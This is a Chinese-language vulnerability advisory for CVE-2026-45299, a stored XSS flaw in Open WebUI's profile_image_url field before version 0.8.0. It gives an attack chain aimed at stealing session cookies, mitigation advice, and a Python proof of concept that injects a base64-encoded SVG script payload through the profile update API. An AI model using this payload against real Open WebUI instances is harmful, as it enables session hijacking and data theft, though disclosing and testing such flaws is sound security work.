IPBUF安全漏洞报告
English
CVE-2026-45299 CVSS 5.4 中危

CVE-2026-45299 Open WebUI 存储型XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45299
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

XSS跨站脚本Open WebUI存储型XSSCVE-2026-45299

漏洞概述

Open WebUI是一个可离线运行的自托管AI平台。在0.8.0版本之前,该平台的用户个人资料更新表单中的`profile_image_url`字段存在安全缺陷。该字段接受任意`data:` URI值,且未对MIME类型进行严格验证。攻击者可利用此漏洞构造恶意Payload,导致存储型跨站脚本(XSS)攻击。

技术细节

该漏洞源于Open WebUI在处理用户个人资料更新请求时,对`profile_image_url`参数的过滤机制不足。系统允许用户上传或指定包含任意数据的`data:` URI(例如`data:image/svg+xml;base64,...`),但并未严格检查URI中的MIME类型是否合法或内容是否包含恶意脚本。当管理员或其他用户查看被攻击者的个人资料时,浏览器会直接解析该`data:` URI并执行其中嵌入的JavaScript代码。由于漏洞发生在用户资料更新过程中,这属于存储型XSS,攻击者无需持续诱导用户访问特定链接即可实现攻击,可能导致用户会话劫持或敏感信息窃取。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标使用的是 Open WebUI 平台,且版本低于 0.8.0。
STEP 2
2. 武器化
攻击者构造一个包含恶意 JavaScript 代码的 SVG 文件,并将其转换为 Base64 编码的 `data:image/svg+xml` URI 格式。
STEP 3
3. 投递
攻击者登录自己的账户,通过更新个人资料接口,将构造好的恶意 `data:` URI 填入 `profile_image_url` 字段并提交。
STEP 4
4. 利用
当管理员或其他普通用户访问攻击者的个人资料页面时,浏览器尝试加载头像图片,解析 `data:` URI 中的 SVG 内容并执行其中的恶意脚本。
STEP 5
5. 达成目标
恶意脚本在受害者的浏览器上下文中运行,窃取 Session Cookie 或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for updating user profile target_url = "http://target-open-webui-instance.com/api/v1/user/update" # Malicious payload using data URI with SVG containing JavaScript # Base64 encoded: <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg> xss_payload = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pjwvc3ZnPg==" # Headers with authentication token (replace with valid token) headers = { "Authorization": "Bearer <VALID_USER_TOKEN>", "Content-Type": "application/json" } # Data payload to update profile image payload_data = { "profile_image_url": xss_payload } try: # Send the POST request to update the profile response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Profile updated successfully. XSS Payload injected.") print("[+] Trigger the vulnerability by viewing the user profile.") else: print(f"[-] Failed to update profile. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Open WebUI < 0.8.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员通过Web应用防火墙(WAF)拦截包含`data:`协议的请求参数,或者在服务器端暂时禁用用户自定义头像功能,仅允许上传经过后端重处理的图片文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表